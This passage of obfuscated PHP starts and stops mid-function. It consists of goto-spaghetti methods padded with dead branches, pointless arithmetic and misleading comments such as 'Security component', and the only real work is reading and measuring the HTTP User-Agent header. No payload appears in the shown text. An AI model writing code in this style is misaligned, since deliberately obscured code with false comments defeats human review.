m3NuKk3q: $WWDcP6ib = strlen($BqYDw4sr); goto b9djCBjG; b9djCBjG: /* Security component */ $a29IFo9lZ = 368 + 23; $iX1geSuk = $a29IFo9lZ * 3; goto ZOYRWG3O; ZOYRWG3O: if (false) { echo 'This is a dead end'; } goto a2gdYcydq; a2gdYcydq: /* Core module */ goto NV0JpAnq; NV0JpAnq: /* Security component */ if (false) { echo 'This is a dead end'; } goto NJtMaueT; NJtMaueT: goto LACOIlE0; LACOIlE0: /* sOSgfNz3mVbIw2i */ goto jp9LWQKx; jp9LWQKx: $a6EHyDbxg = 458 + 20; $a29IFo9lZ = $a6EHyDbxg * 5; goto FfKwhlP6; FfKwhlP6: /* Main service */ goto XJUuxZcY; XJUuxZcY: // tgxfVLaI if (false) { echo 'This is a dead end'; } goto MC6e6oWt; MC6e6oWt: // MfYjTuXK goto lAfVAVbx; lAfVAVbx: /* IkM_Id5sCfiQ2fa */ $B9ma2fmF = 572 + 28; $n7sJ6WnP = $B9ma2fmF * 3; goto a9CcJR65D; a9CcJR65D: goto wTCEhr70; wTCEhr70: $BqYDw4sr = 955 + 44; $n7sJ6WnP = $BqYDw4sr * 4; goto a9kwmrUKk; a9kwmrUKk: if (false) { echo 'This is a dead end'; } goto a6F2BhV4d; a6F2BhV4d: /* Security component */ goto a5k3RHTcH; a5k3RHTcH: return $WWDcP6ib > 10; } private function a8FL3jxk4Mm() { // hzE7KsXlELVUDRyX goto UqOfGZmo; UqOfGZmo: /* Security component */ if (false) { echo 'This is a dead end'; } goto a_fVHrfYe; a_fVHrfYe: goto Px5lBaEl; Px5lBaEl: /* ujikQDxcTIbs7oY */ goto a6wXRYkQo; a6wXRYkQo: goto Tf7kP3Dl; Tf7kP3Dl: if (false) { echo 'This is a dead end'; } goto tgaO85gc; tgaO85gc: // E_4px2Lg $bZa4iOd6 = 278 + 12; $B9ma2fmF = $bZa4iOd6 * 3; goto a1RK5ahnf; a1RK5ahnf: /* 1603KpYIWL */ $jIP39ari = 457 + 40; $a29IFo9lZ = $jIP39ari * 5; goto adw0vDe6; adw0vDe6: if (false) { echo 'This is a dead end'; } goto EQc3n8q1; EQc3n8q1: $NqlX8zGc = 270 + 29; $FbaGmw5w = $NqlX8zGc * 1; goto crLNb7Ab; crLNb7Ab: if (false) { echo 'This is a dead end'; } goto LZ3fen3l; LZ3fen3l: goto Bb2i51Yk; Bb2i51Yk: /* Main service */ goto xQKucfyX; xQKucfyX: goto a58x2TxYq; a58x2TxYq: if (false) { echo 'This is a dead end'; } goto N_8wdJfQ; N_8wdJfQ: /* IEKSehNsEUZdrchGfxB5 */ $a6EHyDbxg = 845 + 49; $a29IFo9lZ = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto KF9q2J8n; KF9q2J8n: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto krD64mmL; krD64mmL: // 34wcCB2RVGTFL89L goto a7R3xw6fT; a7R3xw6fT: $FbaGmw5w = 360 + 48; $a6b9oay5s = $FbaGmw5w * 3; goto q3mA0ppA; q3mA0ppA: // ZIqM3n_R $FbaGmw5w = 800 + 28; $bZa4iOd6 = $FbaGmw5w * 5; goto H9Ndixs4; H9Ndixs4: goto Ejkt9gtT; Ejkt9gtT: goto odKb5k5O; odKb5k5O: $WWDcP6ib = 464 + 9; $XsucffsH = $WWDcP6ib * 2; goto JfUQ6zQf; JfUQ6zQf: $XsucffsH = 468 + 17; $iCjD65Pi = $XsucffsH * 3; goto hsAz24aY; hsAz24aY: // 3BR1uFA2 if (false) { echo 'This is a dead end'; } goto ifkBxzZs; ifkBxzZs: /* Core module */ goto a_snq6XDJ; a_snq6XDJ: /* btQjRWe47ZWBEeDOuzYZ */ if (false) { echo 'This is a dead end'; } goto K9NIX0dp; K9NIX0dp: goto a_qgM9HwY; a_qgM9HwY: // d02fAWDu $a6b9oay5s = 350 + 26; $jIP39ari = $a6b9oay5s * 3; goto WdzUNmI8; WdzUNmI8: if (false) { echo 'This is a dead end'; } goto QF8I2rq9; QF8I2rq9: /* xF1OJwpcQTcQ4oe */ goto T2Qj8RPz; T2Qj8RPz: $bZa4iOd6 = 732 + 29; $NqlX8zGc = $bZa4iOd6 * 4; goto YUd24rLd; YUd24rLd: $a29IFo9lZ = strlen($XsucffsH); goto JbWTEVxj; JbWTEVxj: $iCjD65Pi = 386 + 7; $NqlX8zGc = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto biuAUeNI; biuAUeNI: /* N0DWo4PCf_ */ goto yR60WIWM; yR60WIWM: $FbaGmw5w = 789 + 3; $XsucffsH = $FbaGmw5w * 3; goto L0AO_E0Q; L0AO_E0Q: /* API handler */ goto nr6Tkas1; nr6Tkas1: goto txyPOsIT; txyPOsIT: /* System file */ if (false) { echo 'This is a dead end'; } goto cEzOLawl; cEzOLawl: /* Core module */ $n7sJ6WnP = 263 + 19; $WWDcP6ib = $n7sJ6WnP * 1; goto a_ZjD3eZQ; a_ZjD3eZQ: /* Core module */ $iX1geSuk = 622 + 4; $FbaGmw5w = $iX1geSuk * 3; goto IyiqY1Yf; IyiqY1Yf: /* Core module */ goto D8kl9nsh; D8kl9nsh: /* B3LhNTEZlE */ $Pe9zuJ4r = 232 + 33; $jIP39ari = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto sreZcEKl; sreZcEKl: goto Inrvhfdw; Inrvhfdw: goto PhRl3FVo; PhRl3FVo: // QNis2VnVgk8Ilwep goto zXI36kD7; zXI36kD7: $a29IFo9lZ = 660 + 18; $B9ma2fmF = $a29IFo9lZ * 1; goto Bl_i5fZi; Bl_i5fZi: goto IgkeL4AO; IgkeL4AO: return $a29IFo9lZ > 10; } private function RbJbzK3euj() { goto dWxdkNTy; dWxdkNTy: $FbaGmw5w = 895 + 46; $a29IFo9lZ = $FbaGmw5w * 1; goto SAiOjs2G; SAiOjs2G: $NqlX8zGc = 623 + 32; $BqYDw4sr = $NqlX8zGc * 2; goto GhAMsaZl; GhAMsaZl: /* v5w5IkeBwABvoSL */ goto a1IiP3nzs; a1IiP3nzs: /* lHSjpKJEfJbtg33qqekz */ goto a7fUIrd8k; a7fUIrd8k: /* 1PKCeNeVghx68uO */ goto a3A_YmaTP; a3A_YmaTP: /* Core module */ goto XtkjdaYa; XtkjdaYa: goto e1SVeaWV; e1SVeaWV: // LOeo07hn $iCjD65Pi = 387 + 31; $Pe9zuJ4r = $iCjD65Pi * 2; goto GDUlHl3G; GDUlHl3G: $n7sJ6WnP = 220 + 14; $bZa4iOd6 = $n7sJ6WnP * 2; goto a1VGwdgAW; a1VGwdgAW: /* Core module */ if (false) { echo 'This is a dead end'; } goto LvuCQimF; LvuCQimF: $a6b9oay5s = 754 + 33; $FbaGmw5w = $a6b9oay5s * 1; goto a1s8rz3Wl; a1s8rz3Wl: if (false) { echo 'This is a dead end'; } goto tp_dO64C; tp_dO64C: /* Core module */ goto UA0dc0Em; UA0dc0Em: // Qcba9fczIP1XJa_J goto AnWJncTu; AnWJncTu: goto Joa9KzJH; Joa9KzJH: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a3JBxCSS8; a3JBxCSS8: /* Security component */ goto zY_DwWDT; zY_DwWDT: // W6bFUMS1oQiQ goto nCjD5100; nCjD5100: goto pXJxYOJB; pXJxYOJB: if (false) { echo 'This is a dead end'; } goto T4Sh5Oia; T4Sh5Oia: $bZa4iOd6 = 909 + 8; $bZa4iOd6 = $bZa4iOd6 * 3; goto a3f6Sayoe; a3f6Sayoe: $BqYDw4sr = 890 + 45; $BqYDw4sr = $BqYDw4sr * 2; goto D6RAlsO6; D6RAlsO6: goto svpfI9hX; svpfI9hX: /* Core module */ goto kOhlvuCA; kOhlvuCA: /* Main service */ $B9ma2fmF = 259 + 38; $WWDcP6ib = $B9ma2fmF * 4; goto PHQ_fupD; PHQ_fupD: // DBVGWVshBbCFZXa_ $WWDcP6ib = 170 + 40; $iX1geSuk = $WWDcP6ib * 4; goto ZbFm8wxv; ZbFm8wxv: /* UAvM34LHoe */ goto gYEp9RTl; gYEp9RTl: $jIP39ari = 323 + 8; $a6EHyDbxg = $jIP39ari * 1; goto YFpCW8DV; YFpCW8DV: /* lUOj_5XJK_ */ goto a7Pc_2mcj; a7Pc_2mcj: $a6b9oay5s = 683 + 26; $iCjD65Pi = $a6b9oay5s * 3; goto ym4rrjZs; ym4rrjZs: goto wZyKE3VX; wZyKE3VX: $bZa4iOd6 = strlen($B9ma2fmF); goto QBBbxTjF; QBBbxTjF: /* Security component */ goto Jz4NbKqO; Jz4NbKqO: // AGIqFii8yP8d_9Aa goto RwEmMcHs; RwEmMcHs: /* Fxqu2IXqHI */ goto HCeMLGrh; HCeMLGrh: /* 6G1usw8CEx2cEKL */ $BqYDw4sr = 753 + 36; $jIP39ari = $BqYDw4sr * 2; goto a0lF3qkdC; a0lF3qkdC: goto T64ClS_X; T64ClS_X: /* BKkmpTaZdE */ if (false) { echo 'This is a dead end'; } goto zlVcnMFw; zlVcnMFw: /* Core module */ if (false) { echo 'This is a dead end'; } goto ugyKfsz4; ugyKfsz4: // lLH2dv6VxubX if (false) { echo 'This is a dead end'; } goto gAIntC83; gAIntC83: goto FTfJ_yHe; FTfJ_yHe: /* lV_IAsq13565Mzud_iQo */ $BqYDw4sr = 361 + 17; $Pe9zuJ4r = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto Zjo6G6Rg; Zjo6G6Rg: /* API handler */ $a29IFo9lZ = 370 + 31; $iX1geSuk = $a29IFo9lZ * 5; goto rIIbOnvh; rIIbOnvh: // eZpPMdoi if (false) { echo 'This is a dead end'; } goto zfiaPzSP; zfiaPzSP: goto AbCHkkL6; AbCHkkL6: /* API handler */ $a6EHyDbxg = 610 + 43; $FbaGmw5w = $a6EHyDbxg * 3; goto lSImTJHS; lSImTJHS: goto i0fFcqq0; i0fFcqq0: return $bZa4iOd6 > 10; } private function a2IMbsYNFNG() { goto lRZiyg05; lRZiyg05: /* System file */ $XsucffsH = 803 + 33; $n7sJ6WnP = $XsucffsH * 5; goto gXNUGSBH; gXNUGSBH: goto a87BjIRna; a87BjIRna: /* bCGEH9lQ3YqnCyc */ $FbaGmw5w = 956 + 15; $B9ma2fmF = $FbaGmw5w * 1; goto UDykvJs6; UDykvJs6: goto SDYJJTSw; SDYJJTSw: /* System file */ goto eqezaolV; eqezaolV: /* zbezRnOJyBFjAUW */ goto rTv4vt76; rTv4vt76: /* WGTeb2Zhk2stssbArRGF */ goto a29O4MW1x; a29O4MW1x: $B9ma2fmF = 599 + 46; $B9ma2fmF = $B9ma2fmF * 5; goto MEP7UxoU; MEP7UxoU: /* s5rE_SvCfJ8PYxX */ goto dOMtgxS_; dOMtgxS_: goto FTbeIdfR; FTbeIdfR: /* Main service */ goto FOmQ1fib; FOmQ1fib: /* ZT1NPzIavY */ $n7sJ6WnP = 805 + 45; $n7sJ6WnP = $n7sJ6WnP * 2; goto Ep2x8G1j; Ep2x8G1j: // BpYP_VCRL7efahBn $WWDcP6ib = 359 + 11; $FbaGmw5w = $WWDcP6ib * 4; goto a9f6nRoYp; a9f6nRoYp: goto a3JNptUaN; a3JNptUaN: // 7DAuyz4Y9lYMQAT5 goto d_MuToBf; d_MuToBf: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto tkhgmido; tkhgmido: goto DTnErsY5; DTnErsY5: $iCjD65Pi = 333 + 41; $BqYDw4sr = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto Ri4W318q; Ri4W318q: goto XUFPfjy_; XUFPfjy_: $BqYDw4sr = 961 + 22; $XsucffsH = $BqYDw4sr * 3; goto pJsSlGx0; pJsSlGx0: // 3ptak96zy74KulWD goto HD2uuluK; HD2uuluK: /* fMX_xxIM3b */ $WWDcP6ib = 550 + 36; $bZa4iOd6 = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto lKHizfgR; lKHizfgR: $iX1geSuk = 455 + 13; $B9ma2fmF = $iX1geSuk * 2; goto TtLS4x3b; TtLS4x3b: $jIP39ari = 474 + 21; $WWDcP6ib = $jIP39ari * 1; goto nPiNHxY_; nPiNHxY_: // nP6SxS7Cln3E goto cbiVuOES; cbiVuOES: $a6EHyDbxg = 198 + 22; $XsucffsH = $a6EHyDbxg * 2; goto a1rKfbiqr; a1rKfbiqr: goto MqCsPiMi; MqCsPiMi: goto WyGJYsni; WyGJYsni: goto a_O6dbsYl; a_O6dbsYl: /* Security component */ goto GAEfLdWu; GAEfLdWu: goto jVdRDEG8; jVdRDEG8: $bZa4iOd6 = strlen($a29IFo9lZ); goto EmNe1MyK; EmNe1MyK: $iX1geSuk = 173 + 32; $a29IFo9lZ = $iX1geSuk * 4; goto c705MQ4B; c705MQ4B: goto zQA0wcMC; zQA0wcMC: goto a50b37adI; a50b37adI: if (false) { echo 'This is a dead end'; } goto ss3Rd0aF; ss3Rd0aF: /* 2xZtyNQpuA */ $n7sJ6WnP = 395 + 30; $NqlX8zGc = $n7sJ6WnP * 5; goto fXDVDBU6; fXDVDBU6: /* API handler */ goto a8QbDWzZw; a8QbDWzZw: goto KazZh5Q3; KazZh5Q3: // qpwdcmAe0tHH goto mFDHCylr; mFDHCylr: goto pV3GZrrg; pV3GZrrg: // wHKBy6N0S9STFocw goto HATe6c1R; HATe6c1R: goto FfsY0Gzw; FfsY0Gzw: goto YPjMZjXx; YPjMZjXx: goto LWwEtMho; LWwEtMho: /* br35lXEdqJ */ goto GMCRGet3; GMCRGet3: /* API handler */ goto CuATnV3u; CuATnV3u: return $bZa4iOd6 > 10; } private function uKnaSV0zma() { /* ZWhM4vUFqJ52c2l3y1GL */ goto neOglOLX; neOglOLX: goto N2Qv9tvQ; N2Qv9tvQ: if (false) { echo 'This is a dead end'; } goto gXt_p7uE; gXt_p7uE: goto S4esPalh; S4esPalh: /* Mlf4TxCYrLMhRYa */ if (false) { echo 'This is a dead end'; } goto d8mUGDhl; d8mUGDhl: if (false) { echo 'This is a dead end'; } goto tclbU00S; tclbU00S: $n7sJ6WnP = 854 + 46; $bZa4iOd6 = $n7sJ6WnP * 1; goto uhRQ5Bnv; uhRQ5Bnv: $iCjD65Pi = 486 + 26; $XsucffsH = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto Kr5BEQGz; Kr5BEQGz: // yZGyhzpp if (false) { echo 'This is a dead end'; } goto ulnfh235; ulnfh235: if (false) { echo 'This is a dead end'; } goto bqaYOVHS; bqaYOVHS: /* z7nvA8wj7MZnWeQlQcyw */ goto bHdbfFBd; bHdbfFBd: goto i5TZnLOa; i5TZnLOa: /* KS9sjwf4Kz */ $iX1geSuk = 264 + 29; $iCjD65Pi = $iX1geSuk * 3; goto a6Icv4v4s; a6Icv4v4s: // I4lUGI3ouooK goto cu1gjGry; cu1gjGry: goto hCnpUiNT; hCnpUiNT: if (false) { echo 'This is a dead end'; } goto TYXKd97w; TYXKd97w: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Hfd22fRW; Hfd22fRW: /* Core module */ goto a8VqGi4mZ; a8VqGi4mZ: $n7sJ6WnP = 134 + 26; $WWDcP6ib = $n7sJ6WnP * 3; goto s45G28j3; s45G28j3: /* System file */ goto jJyYBII9; jJyYBII9: // ajCVH8cJ2TqbQe39 goto QLQfCUk8; QLQfCUk8: /* API handler */ goto a0nuyNq2w; a0nuyNq2w: if (false) { echo 'This is a dead end'; } goto AJtdBTCj; AJtdBTCj: goto RKFc2WU9; RKFc2WU9: /* mbXFoWZqlb */ goto Y5N1N7AP; Y5N1N7AP: $n7sJ6WnP = 652 + 11; $a6b9oay5s = $n7sJ6WnP * 3; goto dYuWn893; dYuWn893: if (false) { echo 'This is a dead end'; } goto xBlACizL; xBlACizL: // 6gtWu8ceQ9Qh goto a57Mos0Wo; a57Mos0Wo: goto IwnE89nL; IwnE89nL: /* fDOjhb4fMk */ goto F73iwbn3; F73iwbn3: /* KGyALoQVCImNWOg0CFE0 */ $WWDcP6ib = 851 + 29; $FbaGmw5w = $WWDcP6ib * 1; goto rBVHT789; rBVHT789: // kZtEpXyG if (false) { echo 'This is a dead end'; } goto fwIcV1zo; fwIcV1zo: $n7sJ6WnP = strlen($NqlX8zGc); goto LocCSAhC; LocCSAhC: $B9ma2fmF = 724 + 8; $iX1geSuk = $B9ma2fmF * 1; goto cnD4_kgT; cnD4_kgT: /* hVLv_QeWPt07xKa */ if (false) { echo 'This is a dead end'; } goto oEW5Ys84; oEW5Ys84: $XsucffsH = 327 + 25; $Pe9zuJ4r = $XsucffsH * 3; goto a0XMxttZ_; a0XMxttZ_: $n7sJ6WnP = 484 + 48; $iCjD65Pi = $n7sJ6WnP * 2; goto mphlRM23; mphlRM23: /* Q5lqwz72N5 */ goto fnEfM_h5; fnEfM_h5: goto arudm8Bi; arudm8Bi: $iX1geSuk = 265 + 45; $iX1geSuk = $iX1geSuk * 4; goto a4cQFGZgg; a4cQFGZgg: goto o1uxhsXU; o1uxhsXU: if (false) { echo 'This is a dead end'; } goto a83VVYawB; a83VVYawB: /* Main service */ if (false) { echo 'This is a dead end'; } goto ghF43sXf; ghF43sXf: /* API handler */ if (false) { echo 'This is a dead end'; } goto kfQZgrEi; kfQZgrEi: // Qc2G1bOJ goto VqpRDuJv; VqpRDuJv: /* Security component */ goto J0VGWA6F; J0VGWA6F: goto l0zMRutT; l0zMRutT: /* Main service */ $WWDcP6ib = 334 + 26; $Pe9zuJ4r = $WWDcP6ib * 4; goto a2VWD2mhs; a2VWD2mhs: return $n7sJ6WnP > 10; } private function qN3KmJCxff() { goto a48uCRroU; a48uCRroU: // lmBFGHmb goto JoobgdhX; JoobgdhX: $jIP39ari = 888 + 14; $XsucffsH = $jIP39ari * 1; goto qxtHRrxK; qxtHRrxK: goto b2ocHxgQ; b2ocHxgQ: goto kYP65zDk; kYP65zDk: /* uNCyWEWCI6aOMxm */ goto w9w54fQS; w9w54fQS: goto a9qipGOgy; a9qipGOgy: /* API handler */ goto fnNJdD7b; fnNJdD7b: goto KP0YroiN; KP0YroiN: goto Q8McEl_4; Q8McEl_4: /* wRAJ4IpkTBnVDgg */ goto a6tUCbixJ; a6tUCbixJ: // 9MKaF675 $Pe9zuJ4r = 291 + 41; $XsucffsH = $Pe9zuJ4r * 4; goto NDMa4ylj; NDMa4ylj: /* Main service */ goto aSNS1UWv; aSNS1UWv: $a6b9oay5s = 407 + 28; $a29IFo9lZ = $a6b9oay5s * 4; goto NLuIiWaU; NLuIiWaU: /* API handler */ $NqlX8zGc = 533 + 39; $iCjD65Pi = $NqlX8zGc * 4; goto FH8TJKke; FH8TJKke: goto dLP0fVTW; dLP0fVTW: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Rq10uTiY; Rq10uTiY: // KAzU9URE goto hSaiFWma; hSaiFWma: $a6EHyDbxg = 694 + 45; $n7sJ6WnP = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto a_4ssuG1B; a_4ssuG1B: /* System file */ if (false) { echo 'This is a dead end'; } goto cA0h_rXL; cA0h_rXL: goto a6Rg44cyV; a6Rg44cyV: goto a8E9CVIeb; a8E9CVIeb: goto IiQF3Kcf; IiQF3Kcf: // 87f97v22I7SXc5Yn goto imuOdsBy; imuOdsBy: goto RgoV2aTy; RgoV2aTy: /* API handler */ goto IIWBhjnW; IIWBhjnW: goto IMLCWDck; IMLCWDck: /* Security component */ $n7sJ6WnP = 965 + 1; $WWDcP6ib = $n7sJ6WnP * 1; goto uMJJRLwL; uMJJRLwL: /* Main service */ goto fQRS9q2h; fQRS9q2h: // QXHiEWYHn1rt goto X3r2UxqG; X3r2UxqG: // vpRAhRPeuH81 $XsucffsH = 778 + 21; $iCjD65Pi = $XsucffsH * 1; goto moJorCR9; moJorCR9: $jIP39ari = 264 + 23; $a6EHyDbxg = $jIP39ari * 4; goto q_3FD9De; q_3FD9De: $Pe9zuJ4r = strlen($XsucffsH); goto hcqYs39S; hcqYs39S: // zPUHzlzj96IK $WWDcP6ib = 316 + 23; $BqYDw4sr = $WWDcP6ib * 1; goto zy77Xf0u; zy77Xf0u: $B9ma2fmF = 508 + 28; $FbaGmw5w = $B9ma2fmF * 4; goto KbT3grCF; KbT3grCF: // zmvh5BBetx9O goto d88LY7lC; d88LY7lC: // XiqcVW2n goto KcwPVQ9U; KcwPVQ9U: // ZefScGh1VRw4Q7f3 goto wI33Xnab; wI33Xnab: $a6b9oay5s = 973 + 7; $XsucffsH = $a6b9oay5s * 3; goto iVzoLJsv; iVzoLJsv: $FbaGmw5w = 453 + 48; $BqYDw4sr = $FbaGmw5w * 5; goto a9J3f04oc; a9J3f04oc: // 0JFvoasvfQFn8UNG if (false) { echo 'This is a dead end'; } goto E7EBahwB; E7EBahwB: /* Main service */ goto a8Mi_4gPa; a8Mi_4gPa: // XG77g5KE $XsucffsH = 435 + 11; $NqlX8zGc = $XsucffsH * 1; goto Gd_O1fHW; Gd_O1fHW: goto HBqODocu; HBqODocu: goto drVlbu5O; drVlbu5O: goto q8CWSJYG; q8CWSJYG: if (false) { echo 'This is a dead end'; } goto uL5CNQky; uL5CNQky: goto vfOxEjOd; vfOxEjOd: return $Pe9zuJ4r > 10; } private function MrGxGGDuCd() { goto NokjmjPQ; NokjmjPQ: $iCjD65Pi = 509 + 22; $a6EHyDbxg = $iCjD65Pi * 3; goto IIpAUBG9; IIpAUBG9: /* System file */ goto h415dtxa; h415dtxa: goto ufS3WG1O; ufS3WG1O: goto fUxZ5buH; fUxZ5buH: /* Jr1L_T7pxBmK9PPe2o7S */ goto a5EVvnnpa; a5EVvnnpa: /* Security component */ $B9ma2fmF = 686 + 8; $a29IFo9lZ = $B9ma2fmF * 3; goto JHtMkHs_; JHtMkHs_: /* System file */ goto FYO2K2ai; FYO2K2ai: $FbaGmw5w = 398 + 21; $NqlX8zGc = $FbaGmw5w * 2; goto z8_Co4YT; z8_Co4YT: goto HnMcdWpC; HnMcdWpC: /* Main service */ goto aoYUxTdo; aoYUxTdo: goto a8ZUhAyn0; a8ZUhAyn0: // 6sXHkCXx $Pe9zuJ4r = 622 + 40; $FbaGmw5w = $Pe9zuJ4r * 2; goto Vuri4RN0; Vuri4RN0: $n7sJ6WnP = 802 + 25; $iCjD65Pi = $n7sJ6WnP * 5; goto he3Eh47w; he3Eh47w: if (false) { echo 'This is a dead end'; } goto adVZ8yVJ; adVZ8yVJ: /* Main service */ goto anF9Kgs5; anF9Kgs5: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto pkSyYaJ4; pkSyYaJ4: /* API handler */ goto TtvyJQ6J; TtvyJQ6J: // 2Lg_pBmZ goto wYLM1lLL; wYLM1lLL: /* ft1NLIeczf */ goto p5dPVk2i; p5dPVk2i: if (false) { echo 'This is a dead end'; } goto qyzfbtdu; qyzfbtdu: goto a9fZ_P8GS; a9fZ_P8GS: goto Gqfjafk3; Gqfjafk3: /* API handler */ $B9ma2fmF = 593 + 40; $n7sJ6WnP = $B9ma2fmF * 4; goto ld76WYGh; ld76WYGh: goto a6TDtBd66; a6TDtBd66: /* ThXVjqPOz8SASZI */ goto m5D6TlQn; m5D6TlQn: goto wfx2WJ0W; wfx2WJ0W: /* System file */ goto kR80gH2k; kR80gH2k: goto hjiJDdcO; hjiJDdcO: /* Core module */ goto DWlgw1bJ; DWlgw1bJ: /* wcrl8A8DG7YB8W8ugWPx */ $iX1geSuk = 678 + 22; $iX1geSuk = $iX1geSuk * 5; goto nKDQOvKU; nKDQOvKU: $a29IFo9lZ = 360 + 39; $NqlX8zGc = $a29IFo9lZ * 1; goto a8xK6PrNN; a8xK6PrNN: $jIP39ari = strlen($B9ma2fmF); goto a3OMwJVM8; a3OMwJVM8: if (false) { echo 'This is a dead end'; } goto plZFGgiV; plZFGgiV: /* API handler */ goto a8qG0g511; a8qG0g511: goto a5A68XSFa; a5A68XSFa: /* Security component */ $FbaGmw5w = 406 + 38; $Pe9zuJ4r = $FbaGmw5w * 1; goto QIxipJoz; QIxipJoz: goto vlCPaGS8; vlCPaGS8: /* Security component */ if (false) { echo 'This is a dead end'; } goto LkIEd8XF; LkIEd8XF: /* Core module */ goto EyvN6Dx_; EyvN6Dx_: goto VT_KS0Qt; VT_KS0Qt: $Pe9zuJ4r = 205 + 33; $n7sJ6WnP = $Pe9zuJ4r * 5; goto a_lNXuvwL; a_lNXuvwL: /* Main service */ if (false) { echo 'This is a dead end'; } goto fEosWQKz; fEosWQKz: /* System file */ $iCjD65Pi = 819 + 44; $WWDcP6ib = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto BnDzDZYU; BnDzDZYU: goto ExBeYvoP; ExBeYvoP: goto T8mJBLNf; T8mJBLNf: /* System file */ $iX1geSuk = 187 + 6; $bZa4iOd6 = $iX1geSuk * 5; goto BIKcf7mm; BIKcf7mm: /* Core module */ goto l7RuoYNh; l7RuoYNh: return $jIP39ari > 10; } private function BEj13F4Ci6() { /* QaudQ2nsFom74BJ */ goto wvjU4mwa; wvjU4mwa: $XsucffsH = 821 + 44; $B9ma2fmF = $XsucffsH * 4; goto rTjacSQB; rTjacSQB: goto IQact2IC; IQact2IC: goto WyMR3Mu1; WyMR3Mu1: goto HNFbDAf7; HNFbDAf7: /* Core module */ goto d1arRFoo; d1arRFoo: // NQwQm1jZRaIj if (false) { echo 'This is a dead end'; } goto HpyFTKl0; HpyFTKl0: if (false) { echo 'This is a dead end'; } goto a5EwBnOJl; a5EwBnOJl: /* W6E4zDeFf1TxqIS */ $B9ma2fmF = 896 + 43; $n7sJ6WnP = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto dIqhzK19; dIqhzK19: $B9ma2fmF = 746 + 40; $iX1geSuk = $B9ma2fmF * 1; goto tyxah7ph; tyxah7ph: if (false) { echo 'This is a dead end'; } goto RS0rkypP; RS0rkypP: // y1anocvBAR9o $Pe9zuJ4r = 962 + 13; $a6EHyDbxg = $Pe9zuJ4r * 5; goto TM5ZeKkC; TM5ZeKkC: /* API handler */ goto mCERpqGc; mCERpqGc: $BqYDw4sr = 408 + 30; $BqYDw4sr = $BqYDw4sr * 4; goto MWUDA7xG; MWUDA7xG: if (false) { echo 'This is a dead end'; } goto rFaeMNSD; rFaeMNSD: goto WLNYN05t; WLNYN05t: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto SqLXg6yN; SqLXg6yN: // 8ZiLrqyt goto a_4hH4zvl; a_4hH4zvl: $jIP39ari = 470 + 8; $BqYDw4sr = $jIP39ari * 2; goto VdTPDWCN; VdTPDWCN: goto a5UwSLqnX; a5UwSLqnX: goto QWPRcT6m; QWPRcT6m: /* System file */ goto a68W1Up5U; a68W1Up5U: /* vSShMc_3_Gu7G6w */ goto I2YcWoBO; I2YcWoBO: $iCjD65Pi = 185 + 49; $jIP39ari = $iCjD65Pi * 4; goto a8QymM0Ku; a8QymM0Ku: /* Security component */ goto a9K4BP736; a9K4BP736: /* Main service */ $a6b9oay5s = 532 + 36; $FbaGmw5w = $a6b9oay5s * 3; goto aqI4khsZ; aqI4khsZ: /* eIo6TpSMVFDRzEGpe2qm */ $XsucffsH = 457 + 24; $WWDcP6ib = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto qz_06ZyT; qz_06ZyT: if (false) { echo 'This is a dead end'; } goto qRCjHWwB; qRCjHWwB: $bZa4iOd6 = 925 + 26; $n7sJ6WnP = $bZa4iOd6 * 5; goto lm5tSr3Z; lm5tSr3Z: /* Main service */ goto Sq_Wr2X3; Sq_Wr2X3: /* API handler */ goto jPJUPnDG; jPJUPnDG: /* System file */ goto wmkTIxBO; wmkTIxBO: $a29IFo9lZ = strlen($NqlX8zGc); goto pXPgd97Y; pXPgd97Y: /* gBSIXjqhaz */ $BqYDw4sr = 596 + 41; $NqlX8zGc = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto uI91OG0i; uI91OG0i: /* Core module */ goto GYIchRMW; GYIchRMW: goto g0De8fJS; g0De8fJS: /* Core module */ $jIP39ari = 855 + 9; $jIP39ari = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto gvwQuNoR; gvwQuNoR: /* Security component */ if (false) { echo 'This is a dead end'; } goto ir6MMuaM; ir6MMuaM: goto GNyErTlH; GNyErTlH: goto dVYNrOyu; dVYNrOyu: /* Main service */ $bZa4iOd6 = 941 + 6; $n7sJ6WnP = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto a4UyIgyMn; a4UyIgyMn: if (false) { echo 'This is a dead end'; } goto v80ICQ5F; v80ICQ5F: $WWDcP6ib = 919 + 18; $B9ma2fmF = $WWDcP6ib * 5; goto a4MSgRGP6; a4MSgRGP6: /* Main service */ if (false) { echo 'This is a dead end'; } goto XEWVv71i; XEWVv71i: $a6EHyDbxg = 857 + 29; $B9ma2fmF = $a6EHyDbxg * 1; goto V0FBCh8L; V0FBCh8L: /* Main service */ $XsucffsH = 801 + 42; $B9ma2fmF = $XsucffsH * 4; goto kAtKDcDb; kAtKDcDb: /* 6LFvH8YeA0n_VRA */ $n7sJ6WnP = 419 + 22; $a6b9oay5s = $n7sJ6WnP * 2; goto MWagADRK; MWagADRK: goto a3jauwEmI; a3jauwEmI: return $a29IFo9lZ > 10; } private function oZ998ElyJu() { /* Eeu3_L0WqIaemuX */ goto 